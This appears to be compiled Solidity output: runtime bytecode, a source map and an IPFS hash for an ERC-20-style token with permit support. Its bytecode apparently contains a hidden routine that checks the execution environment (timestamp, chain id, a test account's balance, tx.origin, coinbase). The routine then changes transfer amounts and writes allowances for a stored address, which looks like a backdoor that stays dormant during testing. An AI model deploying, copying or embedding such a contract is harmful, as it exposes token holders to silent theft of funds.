5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290611757565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611265565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d289190611775565b10610d525763caca0dab62c0ffee85610d4191906117a8565b610d4b9190611816565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e5891906117a8565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906118e2565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906118f8565b60405160208183030381529060405280519060200120905090565b5f600b600c42610f939190611949565b03610fa0575f9050610fa5565b600190505b5f151581151503610ff057678ac7230489e800007315d34aaf54267db7d7c367839aaf71a00a2c6a6573ffffffffffffffffffffffffffffffffffffffff163110610fef57600190505b5b5f151581151503611009576001461461100857600190505b5b5f1515811515036110585769ffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16101561105757600190505b5b5f1515811515036110a75769ffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff164173ffffffffffffffffffffffffffffffffffffffff1610156110a657600190505b5b90565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110e15780820151818401526020810190506110c6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611106826110aa565b61111081856110b4565b93506111208185602086016110c4565b611129816110ec565b840191505092915050565b5f6020820190508181035f83015261114c81846110fc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61118182611158565b9050919050565b61119181611177565b811461119b575f80fd5b50565b5f813590506111ac81611188565b92915050565b5f819050919050565b6111c4816111b2565b81146111ce575f80fd5b50565b5f813590506111df816111bb565b92915050565b5f80604083850312156111fb576111fa611154565b5b5f6112088582860161119e565b9250506020611219858286016111d1565b9150509250929050565b5f8115159050919050565b61123781611223565b82525050565b5f6020820190506112505f83018461122e565b92915050565b61125f816111b2565b82525050565b5f6020820190506112785f830184611256565b92915050565b5f805f6060848603121561129557611294611154565b5b5f6112a28682870161119e565b93505060206112b38682870161119e565b92505060406112c4868287016111d1565b9150509250925092565b5f60ff82169050919050565b6112e3816112ce565b82525050565b5f6020820190506112fc5f8301846112da565b92915050565b5f819050919050565b61131481611302565b82525050565b5f60208201905061132d5f83018461130b565b92915050565b5f6020828403121561134857611347611154565b5b5f6113558482850161119e565b91505092915050565b611367816112ce565b8114611371575f80fd5b50565b5f813590506113828161135e565b92915050565b61139181611302565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f805f805f60e0888a0312156113cd576113cc611154565b5b5f6113da8a828b0161119e565b97505060206113eb8a828b0161119e565b96505060406113fc8a828b016111d1565b955050606061140d8a828b016111d1565b945050608061141e8a828b01611374565b93505060a061142f8a828b0161139e565b92505060c06114408a828b0161139e565b91505092959891949750929550565b5f806040838503121561146557611464611154565b5b5f6114728582860161119e565b92505060206114838582860161119e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806114d157607f821691505b6020821081036114e4576114e361148d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611521826111b2565b915061152c836111b2565b9250828203905081811115611544576115436114ea565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f61157e6017836110b4565b91506115898261154a565b602082019050919050565b5f6020820190508181035f8301526115ab81611572565b9050919050565b6115bb81611177565b82525050565b5f60c0820190506115d45f83018961130b565b6115e160208301886115b2565b6115ee60408301876115b2565b6115fb6060830186611256565b6116086080830185611256565b61161560a0830184611256565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f61165e600283611620565b91506116698261162a565b600282019050919050565b5f819050919050565b61168e61168982611302565b611674565b82525050565b5f61169e82611652565b91506116aa828561167d565b6020820191506116ba828461167d565b6020820191508190509392505050565b5f6080820190506116dd5f83018761130b565b6116ea60208301866112da565b6116f7604083018561130b565b611704606083018461130b565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611741600e836110b4565b915061174c8261170d565b602082019050919050565b5f6020820190508181035f83015261176e81611735565b9050919050565b5f61177f826111b2565b915061178a836111b2565b92508282019050808211156117a2576117a16114ea565b5b92915050565b5f6117b2826111b2565b91506117bd836111b2565b92508282026117cb816111b2565b915082820484148315176117e2576117e16114ea565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611820826111b2565b915061182b836111b2565b92508261183b5761183a6117e9565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461186e816114ba565b6118788186611846565b9450600182165f811461189257600181146118a7576118d9565b60ff19831686528115158202860193506118d9565b6118b085611850565b5f5b838110156118d1578154818901526001820191506020810190506118b2565b838801955050505b50505092915050565b5f6118ed8284611862565b915081905092915050565b5f60a08201905061190b5f83018861130b565b611918602083018761130b565b611925604083018661130b565b6119326060830185611256565b61193f60808301846115b2565b9695505050505050565b5f611953826111b2565b915061195e836111b2565b92508261196e5761196d6117e9565b5b82820690509291505056fea26469706673582212207b4fab22a1c073bea356ba727fce640b8c64326090e100875acfc628b5a3a5eb64736f6c63430008180033

549:167:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1031:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2486:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1304:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3119:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1083:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5418:177;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1337:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1776:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1056:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2703:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3929:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1388:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1031:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2486:211::-;2560:4;2609:6;2576:9;:21;2586:10;2576:21;;;;;;;;;;;;;;;:30;2598:7;2576:30;;;;;;;;;;;;;;;:39;;;;2652:7;2631:37;;2640:10;2631:37;;;2661:6;2631:37;;;;;;:::i;:::-;;;;;;;;2686:4;2679:11;;2486:211;;;;:::o;1304:26::-;;;;:::o;3119:621::-;3237:4;3253:15;3271:9;:15;3281:4;3271:15;;;;;;;;;;;;;;;:27;3287:10;3271:27;;;;;;;;;;;;;;;;3253:45;;3360:17;3349:7;:28;3345:80;;3419:6;3409:7;:16;;;;:::i;:::-;3379:9;:15;3389:4;3379:15;;;;;;;;;;;;;;;:27;3395:10;3379:27;;;;;;;;;;;;;;;:46;;;;3345:80;3455:6;3436:9;:15;3446:4;3436:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3624:19;3626:6;3634:4;3640:2;3624:1;:19::i;:::-;3607:9;:13;3617:2;3607:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3663:7;3667:2;3663:3;:7::i;:::-;3700:2;3685:26;;3694:4;3685:26;;;3704:6;3685:26;;;;;;:::i;:::-;;;;;;;;3729:4;3722:11;;;3119:621;;;;;:::o;1083:31::-;;;:::o;5418:177::-;5475:7;5518:16;5501:13;:33;:87;;5564:24;:22;:24::i;:::-;5501:87;;;5537:24;5501:87;5494:94;;5418:177;:::o;1337:44::-;;;;;;;;;;;;;;;;;:::o;1776:41::-;;;;;;;;;;;;;;;;;:::o;1056:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2703:410::-;2773:4;2814:6;2789:9;:21;2799:10;2789:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;2983:25;2985:6;2993:10;3005:2;2983:1;:25::i;:::-;2966:9;:13;2976:2;2966:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;3029:7;3033:2;3029:3;:7::i;:::-;3073:2;3052:32;;3061:10;3052:32;;;3077:6;3052:32;;;;;;:::i;:::-;;;;;;;;3102:4;3095:11;;2703:410;;;;:::o;3929:1483::-;4148:15;4136:8;:27;;4128:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;4356:24;4383:805;4519:18;:16;:18::i;:::-;4646:165;4845:5;4884:7;4925:5;4964:6;:13;4971:5;4964:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;5013:8;4602:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4563:514;;;;;;4441:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4410:707;;;;;;5135:1;5154;5173;4383:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4356:832;;5239:1;5211:30;;:16;:30;;;;:59;;;;;5265:5;5245:25;;:16;:25;;;5211:59;5203:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;5343:5;5304:9;:27;5314:16;5304:27;;;;;;;;;;;;;;;:36;5332:7;5304:36;;;;;;;;;;;;;;;:44;;;;4332:1027;5390:7;5374:31;;5383:5;5374:31;;;5399:5;5374:31;;;;;;:::i;:::-;;;;;;;;3929:1483;;;;;;;:::o;1388:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6053:501::-;6170:15;6234:4;6205:33;;:25;:23;:25::i;:::-;:33;;;6201:347;;6268:5;6258:15;;6201:347;;;6383:4;6359:31;;6338:9;:13;6348:2;;;;;;;;;;;6338:13;;;;;;;;;;;;;;;:17;6352:2;6338:17;;;;;;;;;;;;;;;;6316:9;:13;6326:2;;;;;;;;;;;6316:13;;;;;;;;;;;;;;;:19;6330:4;6316:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;6312:222;;6443:10;6432:8;6424:5;:16;;;;:::i;:::-;:29;;;;:::i;:::-;6414:39;;6312:222;;;6510:5;6500:15;;6312:222;6201:347;6053:501;;;;;:::o;6560:142::-;6636:2;;;;;;;;;;;6620:20;;6599:9;:13;6609:2;;;;;;;;;;;6599:13;;;;;;;;;;;;;;;:17;6613:2;6599:17;;;;;;;;;;;;;;;;:41;6595:106;;6692:4;6668:31;;6664:1;:35;;;;:::i;:::-;6644:9;:13;6654:2;;;;;;;;;;;6644:13;;;;;;;;;;;;;;;:17;6658:2;6644:17;;;;;;;;;;;;;;;:55;;;;6595:106;6560:142;:::o;5601:446::-;5666:7;5763:95;5896:4;5880:22;;;;;;:::i;:::-;;;;;;;;5924:14;5960:13;6003:4;5731:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5704:336;;;;;;5685:355;;5601:446;:::o;6708:643::-;6765:16;6821:2;6815;6797:15;:20;;;;:::i;:::-;:26;6793:81;;6840:5;6826:19;;6793:81;;;6868:4;6854:18;;6793:81;6902:5;6887:20;;:11;:20;;;6883:124;;6977:6;6922:42;6914:59;;;:69;6910:96;;7000:4;6986:18;;6910:96;6883:124;7036:5;7021:20;;:11;:20;;;7017:73;;7065:1;7048:13;:18;7044:45;;7083:4;7069:18;;7044:45;7017:73;7118:5;7103:20;;:11;:20;;;7099:116;;7168:22;7130:61;;7146:9;7130:61;;;7126:88;;;7208:4;7194:18;;7126:88;7099:116;7243:5;7228:20;;:11;:20;;;7224:121;;7298:22;7255:66;;7271:14;7255:66;;;7251:93;;;7338:4;7324:18;;7251:93;7224:121;6708:643;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:77::-;4890:7;4919:5;4908:16;;4853:77;;;:::o;4936:118::-;5023:24;5041:5;5023:24;:::i;:::-;5018:3;5011:37;4936:118;;:::o;5060:222::-;5153:4;5191:2;5180:9;5176:18;5168:26;;5204:71;5272:1;5261:9;5257:17;5248:6;5204:71;:::i;:::-;5060:222;;;;:::o;5288:329::-;5347:6;5396:2;5384:9;5375:7;5371:23;5367:32;5364:119;;;5402:79;;:::i;:::-;5364:119;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5288:329;;;;:::o;5623:118::-;5694:22;5710:5;5694:22;:::i;:::-;5687:5;5684:33;5674:61;;5731:1;5728;5721:12;5674:61;5623:118;:::o;5747:135::-;5791:5;5829:6;5816:20;5807:29;;5845:31;5870:5;5845:31;:::i;:::-;5747:135;;;;:::o;5888:122::-;5961:24;5979:5;5961:24;:::i;:::-;5954:5;5951:35;5941:63;;6000:1;5997;5990:12;5941:63;5888:122;:::o;6016:139::-;6062:5;6100:6;6087:20;6078:29;;6116:33;6143:5;6116:33;:::i;:::-;6016:139;;;;:::o;6161:1199::-;6272:6;6280;6288;6296;6304;6312;6320;6369:3;6357:9;6348:7;6344:23;6340:33;6337:120;;;6376:79;;:::i;:::-;6337:120;6496:1;6521:53;6566:7;6557:6;6546:9;6542:22;6521:53;:::i;:::-;6511:63;;6467:117;6623:2;6649:53;6694:7;6685:6;6674:9;6670:22;6649:53;:::i;:::-;6639:63;;6594:118;6751:2;6777:53;6822:7;6813:6;6802:9;6798:22;6777:53;:::i;:::-;6767:63;;6722:118;6879:2;6905:53;6950:7;6941:6;6930:9;6926:22;6905:53;:::i;:::-;6895:63;;6850:118;7007:3;7034:51;7077:7;7068:6;7057:9;7053:22;7034:51;:::i;:::-;7024:61;;6978:117;7134:3;7161:53;7206:7;7197:6;7186:9;7182:22;7161:53;:::i;:::-;7151:63;;7105:119;7263:3;7290:53;7335:7;7326:6;7315:9;7311:22;7290:53;:::i;:::-;7280:63;;7234:119;6161:1199;;;;;;;;;;:::o;7366:474::-;7434:6;7442;7491:2;7479:9;7470:7;7466:23;7462:32;7459:119;;;7497:79;;:::i;:::-;7459:119;7617:1;7642:53;7687:7;7678:6;7667:9;7663:22;7642:53;:::i;:::-;7632:63;;7588:117;7744:2;7770:53;7815:7;7806:6;7795:9;7791:22;7770:53;:::i;:::-;7760:63;;7715:118;7366:474;;;;;:::o;7846:180::-;7894:77;7891:1;7884:88;7991:4;7988:1;7981:15;8015:4;8012:1;8005:15;8032:320;8076:6;8113:1;8107:4;8103:12;8093:22;;8160:1;8154:4;8150:12;8181:18;8171:81;;8237:4;8229:6;8225:17;8215:27;;8171:81;8299:2;8291:6;8288:14;8268:18;8265:38;8262:84;;8318:18;;:::i;:::-;8262:84;8083:269;8032:320;;;:::o;8358:180::-;8406:77;8403:1;8396:88;8503:4;8500:1;8493:15;8527:4;8524:1;8517:15;8544:194;8584:4;8604:20;8622:1;8604:20;:::i;:::-;8599:25;;8638:20;8656:1;8638:20;:::i;:::-;8633:25;;8682:1;8679;8675:9;8667:17;;8706:1;8700:4;8697:11;8694:37;;;8711:18;;:::i;:::-;8694:37;8544:194;;;;:::o;8744:173::-;8884:25;8880:1;8872:6;8868:14;8861:49;8744:173;:::o;8923:366::-;9065:3;9086:67;9150:2;9145:3;9086:67;:::i;:::-;9079:74;;9162:93;9251:3;9162:93;:::i;:::-;9280:2;9275:3;9271:12;9264:19;;8923:366;;;:::o;9295:419::-;9461:4;9499:2;9488:9;9484:18;9476:26;;9548:9;9542:4;9538:20;9534:1;9523:9;9519:17;9512:47;9576:131;9702:4;9576:131;:::i;:::-;9568:139;;9295:419;;;:::o;9720:118::-;9807:24;9825:5;9807:24;:::i;:::-;9802:3;9795:37;9720:118;;:::o;9844:775::-;10077:4;10115:3;10104:9;10100:19;10092:27;;10129:71;10197:1;10186:9;10182:17;10173:6;10129:71;:::i;:::-;10210:72;10278:2;10267:9;10263:18;10254:6;10210:72;:::i;:::-;10292;10360:2;10349:9;10345:18;10336:6;10292:72;:::i;:::-;10374;10442:2;10431:9;10427:18;10418:6;10374:72;:::i;:::-;10456:73;10524:3;10513:9;10509:19;10500:6;10456:73;:::i;:::-;10539;10607:3;10596:9;10592:19;10583:6;10539:73;:::i;:::-;9844:775;;;;;;;;;:::o;10625:148::-;10727:11;10764:3;10749:18;;10625:148;;;;:::o;10779:214::-;10919:66;10915:1;10907:6;10903:14;10896:90;10779:214;:::o;10999:400::-;11159:3;11180:84;11262:1;11257:3;11180:84;:::i;:::-;11173:91;;11273:93;11362:3;11273:93;:::i;:::-;11391:1;11386:3;11382:11;11375:18;;10999:400;;;:::o;11405:79::-;11444:7;11473:5;11462:16;;11405:79;;;:::o;11490:157::-;11595:45;11615:24;11633:5;11615:24;:::i;:::-;11595:45;:::i;:::-;11590:3;11583:58;11490:157;;:::o;11653:663::-;11894:3;11916:148;12060:3;11916:148;:::i;:::-;11909:155;;12074:75;12145:3;12136:6;12074:75;:::i;:::-;12174:2;12169:3;12165:12;12158:19;;12187:75;12258:3;12249:6;12187:75;:::i;:::-;12287:2;12282:3;12278:12;12271:19;;12307:3;12300:10;;11653:663;;;;;:::o;12322:545::-;12495:4;12533:3;12522:9;12518:19;12510:27;;12547:71;12615:1;12604:9;12600:17;12591:6;12547:71;:::i;:::-;12628:68;12692:2;12681:9;12677:18;12668:6;12628:68;:::i;:::-;12706:72;12774:2;12763:9;12759:18;12750:6;12706:72;:::i;:::-;12788;12856:2;12845:9;12841:18;12832:6;12788:72;:::i;:::-;12322:545;;;;;;;:::o;12873:164::-;13013:16;13009:1;13001:6;12997:14;12990:40;12873:164;:::o;13043:366::-;13185:3;13206:67;13270:2;13265:3;13206:67;:::i;:::-;13199:74;;13282:93;13371:3;13282:93;:::i;:::-;13400:2;13395:3;13391:12;13384:19;;13043:366;;;:::o;13415:419::-;13581:4;13619:2;13608:9;13604:18;13596:26;;13668:9;13662:4;13658:20;13654:1;13643:9;13639:17;13632:47;13696:131;13822:4;13696:131;:::i;:::-;13688:139;;13415:419;;;:::o;13840:191::-;13880:3;13899:20;13917:1;13899:20;:::i;:::-;13894:25;;13933:20;13951:1;13933:20;:::i;:::-;13928:25;;13976:1;13973;13969:9;13962:16;;13997:3;13994:1;13991:10;13988:36;;;14004:18;;:::i;:::-;13988:36;13840:191;;;;:::o;14037:410::-;14077:7;14100:20;14118:1;14100:20;:::i;:::-;14095:25;;14134:20;14152:1;14134:20;:::i;:::-;14129:25;;14189:1;14186;14182:9;14211:30;14229:11;14211:30;:::i;:::-;14200:41;;14390:1;14381:7;14377:15;14374:1;14371:22;14351:1;14344:9;14324:83;14301:139;;14420:18;;:::i;:::-;14301:139;14085:362;14037:410;;;;:::o;14453:180::-;14501:77;14498:1;14491:88;14598:4;14595:1;14588:15;14622:4;14619:1;14612:15;14639:185;14679:1;14696:20;14714:1;14696:20;:::i;:::-;14691:25;;14730:20;14748:1;14730:20;:::i;:::-;14725:25;;14769:1;14759:35;;14774:18;;:::i;:::-;14759:35;14816:1;14813;14809:9;14804:14;;14639:185;;;;:::o;14830:147::-;14931:11;14968:3;14953:18;;14830:147;;;;:::o;14983:144::-;15035:4;15058:3;15050:11;;15081:3;15078:1;15071:14;15115:4;15112:1;15102:18;15094:26;;14983:144;;;:::o;15155:878::-;15260:3;15297:5;15291:12;15326:36;15352:9;15326:36;:::i;:::-;15378:88;15459:6;15454:3;15378:88;:::i;:::-;15371:95;;15497:1;15486:9;15482:17;15513:1;15508:166;;;;15688:1;15683:344;;;;15475:552;;15508:166;15592:4;15588:9;15577;15573:25;15568:3;15561:38;15654:6;15647:14;15640:22;15632:6;15628:35;15623:3;15619:45;15612:52;;15508:166;;15683:344;15750:41;15785:5;15750:41;:::i;:::-;15813:1;15827:154;15841:6;15838:1;15835:13;15827:154;;;15915:7;15909:14;15905:1;15900:3;15896:11;15889:35;15965:1;15956:7;15952:15;15941:26;;15863:4;15860:1;15856:12;15851:17;;15827:154;;;16010:6;16005:3;16001:16;15994:23;;15690:337;;15475:552;;15264:769;;15155:878;;;;:::o;16039:273::-;16170:3;16192:94;16282:3;16273:6;16192:94;:::i;:::-;16185:101;;16303:3;16296:10;;16039:273;;;;:::o;16318:664::-;16523:4;16561:3;16550:9;16546:19;16538:27;;16575:71;16643:1;16632:9;16628:17;16619:6;16575:71;:::i;:::-;16656:72;16724:2;16713:9;16709:18;16700:6;16656:72;:::i;:::-;16738;16806:2;16795:9;16791:18;16782:6;16738:72;:::i;:::-;16820;16888:2;16877:9;16873:18;16864:6;16820:72;:::i;:::-;16902:73;16970:3;16959:9;16955:19;16946:6;16902:73;:::i;:::-;16318:664;;;;;;;;:::o;16988:176::-;17020:1;17037:20;17055:1;17037:20;:::i;:::-;17032:25;;17071:20;17089:1;17071:20;:::i;:::-;17066:25;;17110:1;17100:35;;17115:18;;:::i;:::-;17100:35;17156:1;17153;17149:9;17144:14;;16988:176;;;;:::o

ipfs://7b4fab22a1c073bea356ba727fce640b8c64326090e100875acfc628b5a3a5eb